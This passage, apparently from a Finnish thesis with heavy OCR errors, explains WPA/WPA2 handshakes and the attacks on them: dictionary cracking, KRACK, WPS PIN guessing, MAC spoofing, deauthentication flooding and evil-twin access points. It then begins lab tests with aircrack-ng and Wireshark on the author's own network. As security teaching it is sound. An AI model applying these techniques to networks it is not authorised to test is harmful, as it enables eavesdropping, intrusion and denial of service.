Avaimien luomiseen vaaditaan Pairwise Master Key (PMK), joka luodaan
Personal-tilan tapauksessa PSK:n ja SSID-nimen pohjalta, Enterprise-tilan
tapauksessa erillinen todennuspalvelin luo PMK:n ylimééardisen todennuk-
sen paatteeksi, joka tapahtuu ennen nelivaiheisen kéttelyn aloittamista.
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Luotu PMK l&hetetd&n todennuspalvelimelle tehdyn todennuksen jalkeen
lopulta tukiasemalle. Nelivaiheisen kéttelyn suorittamiseen kaytetdan Ex-
tensible Authentication Protocol over LAN-protokollaa (EAPOL).

1. Tukiasema aloittaa kéattelyn lahettdmalla todennettavalle kayttajalle
ANonce-viestin, joka on tdmén luoma satunnaisnumerosarja. Saatuaan
ANonce viestin tukiasemalta, kayttdja luo PTK-avaimen (Pairwise
Transient Key) PMK-avaimen, ANonce-numerosarjan ja muiden para-
metrien pohjalta. PTK-avain on voimassa niin pitkaan, kun kayttaja on
yhdistaneend langattomaan lahiverkkoon ja tatd kdytetadn tukiaseman
sekd kayttajan vélisen datan salaamiseen téna aikana.

2. Kayttdja lahettdd SNonce-viestin tukiasemalle, jossa taasen on kayttajan
oma satunnaisnumerosarja.  Viestissa  kulkee myts MIC-
eheydentarkistusmenetelmén mukainen tarkistussumma.

3. Vastaanotettuaan viestin kayttajaltd, tukiasema tarkastaa vastaanotetun
kehyksen eheyden ja luo samaan tapaan PTK-avaimen itselleen. Tuki-
asema generoi my6s Group Master Keyn (GMK) PMK:n pohjalta, joka
lahetetddn kolmannessa viestissa kayttajalle. GMK:ta kéytetdan broad-
cast-liikenteen salaukseen. Kolmannessa viestissa on mukana myds
MIC-eheydentarkastus.

4. Kayttaja tarkastaa kolmannen viestin eheyden ja mikéli virheité ei ole
tapahtunut, asennetaan luodut PTK- ja GTK -avaimet kdyttoon salattua
tiedonsiirtoa varten. Neljas viesti on kayttdjan tukiasemalle lahettdma
kuittaus siitd, etta seka kayttdja ja tukiasema omaavat samat avaimet ja
mya0s tukiasema voi asentaa ndma kayttoon. (IEEE 802.11i-2004 2018.)

Kayttajs Tukiasema

@B))

Probe Request

L g
Probe Response

F 3

Authentication (Request)
Authentication (Response)

Avoin todennus

A
h 4

Association Request

Association Response

I 9

ANonce (1)

F Y

Nelivaiheinen SNonce + MIC (2]
kattely GTK+ MIC (3]

ACK (4]

h 4

Kuva9.  Téaydellinen todennus ja yhdistdminen WPA/WPA2-suojattuun verkkoon
SSID:n kysymisesté l&htien.

3.3.2 Heikkoudet WPA- ja WPA2-salauksissa
WPA-TKIP:n alkuperdinen tarkoitus oli toimia vain valiaikaisena ratkai-

suna ennen WPAZ2:n kehittdmista ja TKIP-salauksesta on 16ydetty vuosien
mittaan haavoittuvuuksia. Wi-Fi Alliance on todennut WPA-TKIP:n
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vuonna 2015 vanhentuneeksi salausmenetelméksi ja suosittelee sen kayton
lopettamista. (Technical Note Removal of TKIP from Wi-Fi Devices 2015)

WPA ja myds WPA2 ovat haavoittuvaisia niin kutsulle sanakirjahyokkayk-
selle. Sanakirjahyokkayksella pyritdan selvittdmaan langattoman l&hiver-
kon PSK, jota kdytetdan neliosaisessa kéattelyssa PTK-avaimen luontiin. Sa-
nakirjahyokkéyksen toteuttaminen vaatii neliosaisen kattelyn taltioinnin,
jonka jélkeen hyokkéaajalla on kaikki vaadittavat parametrit PTK-avaimen
luomiseen, lukuun ottamatta itse PSK:ta. Sanakirjahyokkéayksessa kaytet-
tava ohjelmisto kay lapi sanalistaa ja kayttaé listan sanoja muodostaakseen
PSK:n ja taméan seka nelivaiheisen kattelyssa taltioitujen parametrien avulla
PTK-avaimen. Luodulle PTK-avaimelle lasketaan MIC-tarkistussumma ja
tata verrataan taltioidussa nelivaiheisessa kéattelysséa nahtyyn tarkistussum-
maan. Mikali summat tdsmaavat, voidaan todeta avaimen muodostukseen
kaytetyn PSK:n olevan oikein. Hyokkéays vaatii paljon laskentatehoa ja on-
nistumisen todennékoisyys laskee, mita monimutkaisempi PSK verkolle on
médritetty  kayttoon. (Understanding WPA/WPA2 Pre-Shared-Key
Cracking 2015)

WPA2 AES-pohjaista salausta on pitkaan pidetty murtumattomana, kunnes
vuonna 2017 belgialaiset Mathy Vanhoef ja Frank Piessens julkaisivat tut-
kimuksensa, joka todisti haavoittuvuuden nelivaiheisessa kéattelyssa. Tata
ennen WPA- ja WPA2-salauksiin liittyvét haavoittuvuudet olivat liittyneet
enimmaékseen liian yksinkertaisiin PSK:hin, mihin sanakirjahyokkayskin
pohjautuu.

Vanhoefin ja Piessensin niin kutsuttu Key Reinstallation Attack (KRACK)
aiheutti nimensd mukaisesti datan salaamiseen kaytettavien avainten uudel-
leen asennuksen. Hyokkayksessa nelivaiheisen kattelyn kolmas viesti lahe-
tettiin uudelleen kayttéjélle, jonka myo6té kayttdja asensi jo aiemmin neuvo-
tellut avaimet uudelleen ja resetoi alkuarvoihin parametrej, joita kéytettiin
avaimien muodostukseen.

KRACK-hyokkayksessa hyokkaaja asettuu ensin kayttajan ja langattoman
tukiaseman véliin ja estéa kayttajaa lahettdmista nelivaiheisen kéttelyn vii-
meistd viestid tukiasemalle. Téstd syysta tukiasema olettaa, ettei kolmas
viesti koskaan tullut perille ja lahettd4 tdman uudestaan. Kun nelivaiheinen
kattely suoritetaan kokonaisuudessaan ensimmaisen kerran, lahettaéd kayt-
t4ja viimeisen, neljannen viestin tukiasemalle salaamattomana. Mikali luo-
tuja avaimet asennetaan uudelleen, lahtee neljés viesti kayttajalta salattuna
tukiasemalle. Hyokkadja voi néin ollen taltioituaan salaamattoman neljan-
nen viestin, salatun neljdnnen viestin avainten uudelleenasennuksen jalkeen
seka tietdessaan avainten luontiin kdytettyjen parametrien resetoituvan tiet-
tyihin arvoihin verrata ndiden yhtalaisyyksié ja purkaa datapakettien salauk-
sia.

Vanhoef ja Piessens havaitsivat tutkimuksessaan myos vakavan haavoittu-
vuuden Linux-pohjaisissa kayttojarjestelmissa ja Android-mobiilikayttojar-
jestelméssé versiosta 6.0 eteenpdin, jolloin nelivaiheisessa kattelyssé luotu-
jen avainten uudelleenasennuksen sijaan laite asensikin avaimet, joiden ar-
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34 WPS

vona oli pelkki& nollia. Tamé&n myo6td hyokkaéja pystyi vaivattomasti pur-
kamaan mink& tahansa datapaketin salauksen, kun salaukseen kéytettava
avain oli tiedossa. Suurimmat laitevalmistajat ovat kuitenkin jo julkaisseet
tietoturvapdivityksid, jotka torjuvat KRACK-hyokkéyksen ja estévat
avaimien uudelleenasennuksen. (Vanhoef & Piessens 2017)

Wi-Fi Protected Setup (WPS) on Wi-fi Alliancen vuonna 2007 julkaisema
tekniikka, joka yksinkertaistaa uusien laitteiden liittdmista langattomaan la-
hiverkkoon. WPS:a4 kayttamalla laitteita voidaan liittda langattomaan l&hi-
verkkoon napinpainalluksella tai yleensa 8 numeron mittaista PIN-koodia
kayttamalla, joten kayttajan ei tarvitse muistaa mahdollisesti hyvin moni-
mutkaiseksi madritettyd langattoman lahiverkon PSK:ta. WPS-ominaisuus
on laajalti kaytossa eri valmistajien langattomissa reitittimissa. (Wi-Fi
CERTIFIED Wi-Fi Protected Setup: Easing the User Experience for Home
and Small Office Wi-Fi Networks, 2014.)

WPS on todettu haavoittuvaiseksi ainakin PIN-koodikirjautumisen osalta.
Tama johtuu siitd, ettd PIN-koodi sy6ton epdonnistuessa langattoman reitit-
timen tai tukiaseman ldhettdmaésté vastineesta on mahdollista paatelld, oliko
PIN-koodin ensimmadinen puolisko oikein. Myos kehysvastine kertoo PIN-
koodin viimeisen numeron, koska tata kaytetdan tarkistussummana varsi-
naiselle PIN-koodille. Ndmé kaksi seikkaa laskevat oleellisesti PIN-koodin
arvaukseen vaadittavien yritysten lukumaarad. Huomioonotettavaa on myos
se, etteivat useat verkkolaitevalmistajat ole kehittdneet turvamekanismia
edelld mainittua haavoittuvuutta vastaan. (Allar 2011)

3.5 MAC-suodatus & piilotettu SSID

MAC-suodatuksella voidaan rajoittaa péésya langattomaan lahiverkkoon,
sallimalla kirjautuminen ainoastaan erikseen asetetuilta MAC-osoitteilta.
Yleisimmissd langattomissa reitittimissd ja tukiasemissa voidaan asettaa
useampia sallittuja MAC-osoitteita ja useimmiten MAC-suodatusta kéyte-
taan yhdessa jonkin salauksen kanssa verkon tietoturvan parantamiseksi.

MAC-suodatus ei kuitenkaan yksindan riitd turvaamaan verkkoa, koska
tdma on helposti kierrettavissa. MAC-suodatuksen ohittamiseen riittaa, etta
taltioi verkossa liikkuvaa dataa jo Kirjautuneilta kayttajilta ja poimii talteen
jonkin kayttdjan MAC-osoitteen. Sallittu MAC-osoite asetetaan langatto-
malle verkkokortille k&yttoon ja verkkoon voidaan tdmén jalkeen kirjautua.

Langattoman lahiverkon SSID voidaan my6s maarittaa piilotetuksi. Ase-
tuksen ollessa péalla, ei tukiasema lahetd beacon-kehyksia ollenkaan, eika
talloin mainosta verkon SSID:t& ympérilleen. Esimerkiksi Windows-kéyt-
tdjille téllainen verkko ndkyy “muuna verkkona” ja kdyttdjén pitdd ennen
yhdistamista syottdd SSID itse.
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Piilotettu SSID paljastuu kuitenkin, kun kayttéja aloittaa yhdistamisen verk-
koon ja syottad SSID:n. Tukiasema ja kayttdja vaihtavat talloin probe requ-
set- ja probe response -kehyksid. Kyseisissé kehyksisséd SSID kulkee salaa-
mattomana.

3.6 Palvelunestohyokkays

Palvelunestohyokkayksella pyritadn ruuhkauttamaan langaton lahiverkko,
héiritsem&én verkossa tapahtuvaa tiedonsiirtoa tai kayttajien yhteydenlaa-
tua. Langattoman lahiverkon osalta palvelunestohydkkayksen toteutuksessa
hyodynnetdan tyypillisesti salaamattomia management-kehyksié ja yhtey-
dettdmyyden vuoksi langattoman lahiverkon toimintaa pystytdén hairitse-
mé&an verkon ulkopuolelta.

Tukiasemaan kohdistetussa palvelunestohyokkéyksessa pyritdan lahetta-
maéaan tukiasemalle niin paljon liikennettd, ettei taméa pysty lilkennemaaraa
hallitsemaan. Pahimmillaan langaton tukiasema saattaa kaatua tai kdynnis-
tya uudelleen liian kovan kuorman johdosta ja aiheuttaa kaikkien tukiase-
maan yhdistédneiden laitteiden yhteyden menetyksen. Palvelunestohyok-
kédys voidaan kohdentaa myos yksittdiseen kayttajaan, jolloin yksittdinen
kayttaja pyritdén tiputtamaan verkosta tai estaméén tdman tiedonsiirto.

De-authentication -hyokkayksessa hyokkéaja lahettadd tukiasemalle kehyk-
Sid, jotka pyytavat tukiasemaa unohtamaan tietyn kayttajan todennuksen ja
katkaisemaan yhteyden. De-authentication -kehysten jatkuva lahettdminen
saa aikaan kayttajan putoamisen verkosta, jonka jalkeen kayttdja automaat-
tisesti yrittdd yhdistdd uudestaan verkkoon. Hyokkayksen onnistuessa ja
hyokkaajan jatkaessa de-authentication-kehysten lahettamistd, ei kayttdja
pysty yhdistamaan tané aikana takaisin verkkoon.

De-authentication -hyokkaysté voidaan myos kéyttaa kaikkien langattoman
lahiverkon kéyttdjien yhteyden hairitsemiseen. Luomalla kehyksia broad-
cast-lahetyksing, jotka kayttdvat lahettdjan MAC-osoitteena tukiaseman
osoitetta, kohdistuu hyokkays kaikille verkon kayttajille. Tama vaatii hyok-
kadjan verkkokortilta tosin l&dhetystehoa konkreettisen vaikutuksen saavut-
tamiseksi.

Todennuspyyntohyokkayksessa hyokkaaja lahettdaa langattomalle tukiase-
malle authentication -kehyksia kayttaden satunnaisia MAC-osoitteita lahet-
tajan osoitteena. Hydkkéayksen teho perustuu langattoman tukiaseman ylla-
pitdman yhteystaulun rajattuun muistiin. Tukiasema yllapitaé siihen yhdis-
tdneiden laitteiden MAC-osoitetietoja erikseen varatussa yhteystaulussa ja
hyokk&éja pyrkii tdyttdmdan yhteystaulun tdyteen satunnaisia MAC-
osoitteita. Kun taulu lopulta tayttyy, eivat uudet verkkoon haluavat k&yttajat
pysty yhdistdméén tukiasemaan, vaan tukiasema hylkaa todennuspyynnot.
(Compton 2007, 13-14)

Beacon-tulvituksella pyritd&dn hankaloittamaan ja estaméaan kayttajien Kir-
jautumista langattomaan lahiverkkoon. Langattomat verkkokortit kuuntele-
vat kayttojarjestelmasté riippuen oletuksena tukiasemien lahettdmia bea-
con-kehyksia ollakseen tietoisia ympéristssa olevista verkoista.
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Hyokkaaja lahettad useita beacon-kehyksia tihealla aikavalilla ja mainostaa
naissa verkkoja, joita ei todellisuudessa ole olemassa. Kayttajille ndma na-
kyvat samaan tapaan kuin muutkin langattomat lahiverkot, joihin kayttéja
voisi halutessaan kirjautua. Langattomien verkkokorttien kuunnellessa ja
prosessoidessa beacon-kehyksia, voi ndiden jatkuva tulvittaminen aiheuttaa
ongelmia kayttajan laitteiston tai laiteajureiden kanssa.

3.7 Vélimieshyokkays

Valimieshyokkayksessa hyokkadja asettuu kayttajan ja tukiaseman valiin,
kaapaten néiden valisen liikenteen ja vaarantaen datan sailymisen ehedné.
Hyokkayksesta vaarallisen tekee se, ettd tavallinen kayttaja ei todennakoi-
sesti huomaa mitddn eroa tiedonsiirron osalta, vaan olettaa kommuni-
koivansa suoraan tukiaseman kanssa. Langattoman lahiverkon tapauksessa
valimieshyokkayksissa hyddynnetddn usein management-kehyksia ja nii-
den toimintaperiaatetta.

Yksi yleisimmisté vélimieshyokkayksistd on honeypot-hyokkays. Kaytta-
jien paéatelaitteet tallentavat useimmissa tapauksissa muistiin langattomat
lahiverkot sekd SSID:t, joihin ovat aiemmin olleet yhdistdneend. Langatto-
man verkkokortin ollessa paalla, saatetaan naita verkkoja hakea aktiivisesti
probe request -kehyksilla. Hyokkaaja voi edellda mainittuja kehyksia kuun-
nella ja tarjota kayttajalle oman koneen kautta kéyttajan kyseleman SSID:n
sekd paasyn verkkoon.

Useimmat pééatelaitteet myos valitsevat tukiaseman vahvemman radiosig-
naalin pohjalta. Honeypot-hyokkays voidaan siis toteuttaa tarjoamalla kayt-
tajalle sama verkko, kuin missa tdmé on jo yhdistdneend, mutta paremmalla
signaalilla. Kayttaja voidaan pakottaa myds yhdistamaan hyodkkaajan luo-
maan tukiasemaan palvelunestohyokkaykselld. (Schoeneck 2003, 5-9)

4 TIETOTURVAN TESTAAMINEN

Tietoturvatestaamisella pyritaan testaamaan tietojarjestelmaa ja arvioimaan
jarjestelman tietoturvallisuutta oikeita hyokkayksid simuloiden. Testaami-
sen tavoitteena on Kkartoittaa jarjestelman tila, potentiaaliset riskitekijat ja
varmistamaan, etta jarjestelma toimii silld tavalla, kuten se on alkuperaisesti
maéaritetty toimimaan.

Langattoman lahiverkon osalta testaamisella arvioidaan sek& tunnistetaan
verkkoon, salaukseen ja péaasyyn liittyvid uhkia ja riskeja. Lopullisena ta-
voitteena on parantaa langattoman lahiverkon tietoturvaa kerattyjen havain-
tojen pohjalta. Nykypaivéana Internetissa on tarjolla useita kayttojérjestel-
mavaihtoehtoja ja ilmaisohjelmia, joilla langattoman lahiverkon tietoturvaa
voidaan testata hyvinkin tehokkaasti.
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4.1 Kali Linux

Kali Linux on Debian-pohjainen avoimen lahdekoodin kéyttojarjestelma,
joka on erityisesti tietoturvan testaamista varten suunniteltu. Kali Linux jul-
kaistiin maaliskuussa 2013 ja sen yllapidosta, rahoituksesta ja kehityksesta
vastaa Mati Aharonin perustama Offensive Security-organisaatio. Kali Li-
nuxin padkehittdjina talla hetkella Aharonin liséksi ovat Devon Kearns ja
Raphaél Hertzog. (About Kali Linux 2016.)

Kali Linux on uudelleen rakennettu Offensive Securityn aiemman, Ubun-
tuun pohjautuvan Backtrack-kayttojarjestelman péalle. Backtrackin kaytto-
jarjestelmapaivitykset aiheuttivat usein yhteensopivuusongelmia kehitta-
jien luomien ohjelmistojen kanssa, joten Offensive Security péétti rakentaa
kokonaan uuden kayttojarjestelman Debianiin pohjautuen vastatakseen yh-
teensopivuusongelmiin. (Kali Linux review and a brief history of the Back-
Track pentesting distro 2013.)

Kali Linuxissa on esiasennettuna useita erilaisia ohjelmia eri palveluiden
tietoturvan testaamiseen. Kali Linuxista 16ytyy laaja kirjo ohjelmistoja
muun muassa web-applikaatioiden, tietokantojen ja tietoverkkojen tietotur-
vatestaamiseen. Kali Linux on tietoturva-alan ammattilaisten keskuudessa
suosittu kayttojarjestelma monipuolisen ohjelmistotarjonnan vuoksi.

4.2 Langattoman verkkokortin tilat ja vaatimukset

Promiscuous-tila on langattoman tai tavallisen verkkokortin tila, joka mah-
dollistaa lahiverkossa liikkuvien datakehysten taltioinnin, kun laite on lahi-
verkkoon kuuluva. Normaalitilassa, kun verkkokortti vastaanottaa datake-
hyksen, se vertaa kehyksen MAC-osoitustietoja omaan MAC-osoitteeseen.
Jos vastaanotettu kehys ei ole osoitettu kyseisen verkkokortin MAC-
osoitteeseen, tai ei ole broadcast- tai multicast-kehys, verkkokortti pudottaa
kehyksen. Promiscuous-tilaa kaytettdessé verkkokortti kuitenkin pystyy
kuuntelemaan ja prosessoimaan myds muille lahiverkon laitteille osoitettuja
kehyksia.

Jotta verkkoliikennetta voidaan kuunnella ja taltioida, pitdd myos muiden
verkkoon kuuluvien laitteiden verkkokortit olla promiscuous-tilassa. Léhi-
verkon yllapitdjat voivatkin tehokkaasti etsid verkon heikkoja kohtia ja ana-
lysoida verkkoliikennetta asettamalla verkkoon kuuluvien laitteiden verk-
kokortit promiscuous-tilaan. Promiscuous-tilaa hyddyntavat myos erilaiset
verkkoliikenteen analysointiohjelmat.

Monitorointitilan etuna promiscuous-tilaan on yhteydettomyys. Toisin kuin
promiscuous-tilassa, monitorointitilassa pystytaan verkkoliikennetta taltioi-
maan verkon ulkopuolelta. Langattoman lahiverkon tietoturvaa testatessa
tapahtuu testaus langattoman lahiverkon ulkopuolelta, joten tietoturvan tes-
taamista varten tulee langattoman verkkokortin tukea monitorointitilaa.
Monitorointitilassa langaton verkkokortti ei ota mydskain kantaa datake-
hyksen CRC-arvoon, jolla tarkistetaan kehyksen eheys. Taltioidut kehykset
voivat siis olla korruptoituneita tiedonsiirron aikana. Monitorointitilaa kut-
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sutaan usein myo6s raw monitor -tilaksi, koska tassé tilassa langaton verk-
kokortti vastaanottaa kaiken verkkoliikenteen eheydesta riippumatta. (Dif-
ference - Promiscuous vs. Monitor Mode Wireless Context 2008)

Langatonta verkkokorttia tietoturvatestausta varten valitessaan on suositel-
tavaa kiinnittdd huomiota myos testausalustaan. Opinnaytetydssani kaytan
tietoturvan testaamiseen Kali Linux-kayttojarjestelméas, joten langattoman
verkkokortin tulee myos olla yhteensopiva Kali Linuxin kanssa. Myos stan-
dardi tulee valita testattavan langattoman ldhiverkon mukaan. 802.11n-stan-
dardin langaton verkkokortti on yleensd sopivin valinta, koska 802.11n-
standardi on myos taaksepéain yhteensopiva aiempien standardien laitteiden
kanssa, eiké ndin ollen rajoita testausta.

4.3 Aircrack-ng

Aircrack-ng on langattomien lahiverkkojen tietoturvatestaamiseen tarkoi-
tettu ohjelmistopaketti. Aircrack sisaltaa tyokaluja muun muassa WLAN-
salausten purkamiseen, palvelunestohyokkaysten toteuttamiseen, langatto-
man verkkoliikenteen taltioimiseen ja analysointiin seka vaarennettyjen ke-
hysten lahettdmiseen. Yleisimmin kéytettyja aircrack-ng:n mukana tulevia
tyokaluja ovat:

- airmon-ng, kaytetddn monitorointitilan kayttoonottoon ja kanavan valit-
semiseen.

- aireplay-ng, kéytetadn luomaan halutun tyyppista langatonta liikennettd
ja toteuttamaan esimerkiksi palvelunestohyokkayksia.

- airbase-ng, kdytetdan vaarennetyn tukiaseman luomiseen ja valimies-
hyokkaysten toteuttamiseen.

- aircrack-ng, kaytetddn WEP-avaimen murtamiseen ja sanakirjahyok-
kayksien toteuttamiseen.

Aircrack-ng on saatavilla Linux- ja nykydan myos Windows-kayttojarjes-
telmille. Aircrack-ng:n kayttdminen vaatii monitorointi-tilaan soveltuvan
verkkokortin ja tukee yleisimpia 802.11-standardeja alkupaasta lahtien.
(Aircrack-ng 2018)

4.4 Wireshark

Wireshark on graafinen verkkoliikenteenhaistelija ja tietoliikenteessa laa-
jasti kaytetty. Wiresharkin kehitys alkoi Gerald Combsin toimesta vuonna
1998, jolloin Wireshark kulki tyonimelld Ethereal. Sittemmin vuonna 2006
vaihtui Ethereal-tyonimi Wiresharkiksi.

Wiresharkia kaytetddn muun muassa verkko-ongelmien havainnointiin ja
analysointiin. Wireshark soveltuu myos langattoman verkkoliikenteen
kuunteluun, edellyttden, ettd kdytosséd on monitorointitilaa tukeva langaton
verkkokortti. Wiresharkilla voidaan tutkia langattoman kehyksen eri osioita
jopa yksittaisten bittien osalta. Wireshark on saatavilla Windows-ympéris-
t06n seké Linux-ympdristoon ja se on tdysin maksuton. Kuvassa 10 ndkyma
Wiresharkin kéayttoliittymaésta.
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*Lahiverkkoyhteys ark
J——
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
codE g BDXR AersaT2/EEIQaan @EDD %
Filter: E|Expres;mnm Clear Apply Save
MNo. Time Source Destination Protocol  Length  Info -
1 0.000000000 192.168.10.48 192.168.10.255 NENS 92 Name query NBE WPAD<QO> =
2 0.007965000 192.168.10.48 192.168.10.255 NENS 92 Name query NBE WPAD<QO>
3 0.039045000 104.25.10.6 192.168.10.48 TLSv1.2 1278 Application Data
4 0.039084000 192.168.10.48 104.25.10.6 TCP 54 2842-443 [Ack] seq=1 ack=122
5 0.068166000 192.168.10.48 104.25.10.6 TLSV1. 2 575 Application pata
6 0.093980000 104.25.10.6 192.168.10.48 TCP 60 443-2842 [Ack] s5eq=1225 Ack=
7 0.314973000 feB0::bla0:9ded 5801 Ff02::1:ffcl:ddsc ICMPVE 86 Neighbor solicitation for fe
& 0.380681000 88.115.105.97 192.168.10.48 uDP 60 source port: 9987 Destinati
9 0.380742000 192.168.10.48 88.115.105.97 uDP 57 source port: 52341 Destinat
10 0.677002000 192.168.10.48 88.115.105.97 UDP 55 source port: 52341 Destinat
11 0.697918000 88.115.105.97 192.168.10.48 UDP 60 source port: 9987 Destinati
12 0.822503000 104.25.10.6 192.168.10.48 TLSV1. 2 582 Application pata
13 0.822544000 192.168.10.48 104.25.10.6 TCP 54 2842-443 [ACK] s5eq=522 Ack=1
14 0.824970000 104.25.10.6 192.168.10.48 TLsvl.2 1452 Application pata
15 0.825001000 192.168.10.48 104.25.10.6 TCP 54 2842-443 [ACK] S5eq=522 Ack=1
| 16 0.825207000 104.25.10.6 192.168.10.48 TLSv1.2 1452 Application Data
17 0.825208000 104.25.10.6 192.168.10.48 TLSv1.2 217 Application Data
18 0.825208000 104.25.10.6 192.168.10.48 TLSv1.2 1452 Application Data
19 0.825209000 104.25.10.6 192.168.10.48 TLSv1.2 1249 Application Data
20 0.825209000 104.25.10.6 192.168.10.48 TLSv1.2 98 Application Data
21 0.825209000 104.25.10.6 192.168.10.48 TLSv1.2 88 Application Data
22 0.825236000 192.168.10.48 104.25.10.6 TCP 54 2842-443 [ACK] Seq=522 Ack=7 _
a3 A osnocTann 407 4co an a0 4na_nc an © e o e oo
o m ] b
= Frame 9: 57 bytes on wire (456 bits), 57 bytes captured (456 bits) on interface 0 -

Interface id: 0 (\Device‘\NPF_{39152AB4-4760-4C88-9D83-645011C17ELE})
encapsulation type: ethernet (1)

arrival Time: mar 10, 2016 15:37:25. 530895000 suomen normaaliaika
[Time shift for this packet: 0.000000000 seconds]

Epoch Time: 1457617045, 530895000 seconds

[Time delta from previous captured frame: 0.000061000 seconds]
[Time delta from previous displayed frame: 0.000061000 seconds]
[Time since reference or first frame: 0.380742000 seconds]

Frame Number: 9

Frame Length: 57 bytes (456 bits)

Capture Length: 57 bytes (456 bits)

[Frame is marked: False]

[Frame is ignored: False]

[Protocols in frame: eth:ethertype:ip:udp:data]
[coloring Rule Name: UDP]
[coloring Rule String: udp]
= Ethernet II, Src: AsustekC_ae:d9:4f (40:16:Fe:ae:d9:4f), Dst: ZyxelCom_91:b9:c4 (4c:9e:ff:91:b9:cd)
[ Destination: ZyxelCom_91:b%9:c4 (4c:9e:ff:91:b9:cd)
@ Source: AsustekC_ae:d9:4f (40:16:7e:ae:d9:4f)
Type: IP (0x0800)
E Internet Protocol version 4, src: 192.168.10.48 (192.168.10.48), Dst: 88.115.105.97 (88.115.105.97)
version: 4
Header Length: 20 bytes
@ Differentiated Services Field: Ox00 (DSCP Ox00: Default; ECN: Ox00: Not-ECT (Not ECN-Capable Transport))
Total Length: 43

0000 4c 9e ff 91 b9 c4 40 16 7e ae d9 4f 08 00 45 00 [EA [N

0010 00 2b Oe 3f 00 00 80 11 9f d6 cO a8 Oa 30 58 73 7
0020 69 61 cc 75 27 03 00 17 3a 61 f9 9b ba 25 4f 5F fa.u’ -c
0030 4a al 25 4d 00 04 85 25 4d J.3M. . KM

m

O %7 | Protocols carried by this frame (frame. protocols) | Packets: 1. | Profile: Default

Kuva 10.  Wiresharkin kayttoliittym4 ja taltiointi I1&hiverkkoliikenteesta.

5 KAYTANNON TESTIT

Opinnaytetyon kaytdnndn osuudessa testattiin teoriakappaleessa esiteltyja
yleisimpié langattomiin I&hiverkkoihin kohdistuvia hyokkayksia ja testiver-
kon tietoturvaa. Tietoturvatestauksen tavoitteena oli tutkia, miten haastavaa
kyseisia hyokkéyksié on toteuttaa, miten yleisesti tunnetut hyokkaykset vai-
kuttavat langattoman lahiverkon toimintaan ja kuinka haavoittuvaisia lan-
gattomat lahiverkot ovat erilaisille hyokkayksille.

Testausymparistd koostui seuraavista laitteista:

— kaksi kannettavaa tietokonetta (hyokkaaja seka verkon kayttaja)
— langaton reititin

— monitorointitilaa tukeva langaton verkkokortti

— tavallinen 802.11n-standardin langaton verkkokortti

— éalypuhelin.
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5.1 Esivalmistelut

Ennen varsinaista testausta, keréttiin tietoa testiverkosta ja verkon laitteista
Tarvittavan informaation keradminen suoritettiin hyokkaajan koneelta kéyt-
tamalla airodump-tyokalua. Tata ennen langaton verkkokortti asetettiin mo-
nitorointitilaan.

airmon-ng start wlanl.

Airmon-ng vaihtaa verkkokortin nimed, ja uutta nimeé kayttaméalla kayn-
nistettiin airodump.

airodump-ng start wlanlmon

Airodump-ng:td kayttamalla saatiin taltioitua langattoman reitittimen
BSSID 4c:9e:ff:91:b9:c5 ja kayttdjan osoite 20:10:7a:23:fc:f0, seka langat-
toman lahiverkon kayttdma kanava ja SSID. Kuvassa 11 nakyma airodump-
tyokalusta.

root@Kali-PC: ~ @00
File Edit View Search Terminal Help

CH 1 ][ Elapsed: 4 mins ][ 2016-03-14 14:49 ][ WPA handshake: 4C:S9E:FF:91:B9:C5

BSSID PWR s #Data, #/s CH MB ENC IPHER AUTH ESSID
4C:S9E:FF:91:B9:C5 -41 100
BSSID STATION

4C:9E:FF:91:B9:C5 2(

Kuva 11.  Airodump-ng:n kerddma tieto verkosta.

5.2 Piilotettu SSID ja MAC suodatus

Testin suorittamista varten langattoman reitittimen asetuksista maaritettiin
SSID piilotetuksi. Tavoitteena oli selvitta4 piilotettu SSID ja tdma toteutet-
tiin kaappaamalla testikéyttdjan kirjautuminen verkkoon. Testikayttajan
kirjautuessa verkkoon, vaihtavat kayttaja ja tukiasema probe request- ja
probe response -kehyksid, joissa ilmenee verkon SSID-tunnus. Tama talti-
oitiin hyokkaajan koneelta kuuntelemalla verkkoliikennettd Wiresharkilla
(Kuva 12).
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Applications + Places v Ml Wireshark Tue 13:58

*wlanlmon
File Edit Wiew Go Capture Analyze Statistics Telephony Wireless Tools Help

p @ MEORE QeE+EFI[=QQqQHE

[ [wlan.fe.type_subtype == 5

No. Time Source Destination Protocol Length  Info

595 25.643696483 ZyxelCom_91:b9:cS GemtekTe_23:fc:fo 802,11 224 Probe Response, SN=2929, FN=@, Flags=....R...C, BI=108, S5ID=Testi
596 25.645778557  ZyxelCom_91:b9:cS GemtekTe_23:fc:fe 802.11 224 Probe Response, SM=2929, FH=8, Flags=....R...C, BI=10@, SSID=Testi
597 25647798993  ZyxelCom_91:b9:cS GemtekTe_23:fc:fe 802.11 224 Frobe Response, SH=2929, FN=8, Flags= .R...C, BI=10@, SSID=Testl
598 25.649878995 ZyxelCom_91:b9:cS  GemtekTe_23:fc:fe 802.11 224 Probe Response, SH=203A, FH=B, Flags= €, BI=108, SSID=Testl
599 25.651894001 ZyxelCom_91:b9:cS  GemtekTe 23:fc:fe 802,11 224 Probe Response, SH=2038, FH=B, Flags= c, BI=108, SSID=Testi
600 25,653994889  ZyxelCom_91:bg:cS GemtekTe_23:fc:fe 802,11 224 Probe Response, SH=2938, FH=8, Flags= .C, BI=188, SSID=Testi
601 25,656148152 ZyxelCom_91:bg:cS GemtekTe_23:fc:feo 802,11 224 Probe Response, SN=2930, FH=0, Flags= JR...C, BI=188, SSID=Testi
602 25,658249316 Zyxelcom_91:bg:cS GenmtekTe_23:fc:fe 802,11 224 Probe Response, SN=2930, FN=6, Flags= R...C, BI=100, SSID=Testi
603 25,660280749  ZyxelCom_91:bg:cS GenmtekTe_23:fc:fe 802,11 224 Probe Response, SN=2930, FN=6, Flags= .C, BI=1088, SSID=Testi
604 25,663170402  ZyxelCom_91:b9:cS GemtekTe_23:fc:fo 802,11 224 Probe Response, SN=2030, FN=@, Flags= .C, BI=108, SSID=Testi
605 25.665147397  ZyxelCom_91:b9:cS GemtekTe_23:fc:fo 802,11 224 Probe Response, SN=2931, FN=@, Flags= .C, BI=108, S5ID=Testi
606 25667184668 ZyxelCom_91:b9:cS GemtekTe_23:fc:fe 802.11 224 Probe Response, SH=2931, FN=8, Flags= .C, BI=100, SSID=Testi
607 25669276227  ZyxelCom_91:b9:cS GemtekTe_23:fc:fe 802.11 224 Frobe Response, SH=2931, FN=8, Flags= €, BI=100, $SID=Testi

Kuva 12. Wireshark-taltiointi WLAN-reitittimen l&hettdmistad probe response-kehyk-
Sista.

Testissa todettiin piilotetun SSID:n olevan yksindan riittdméaton suojausme-
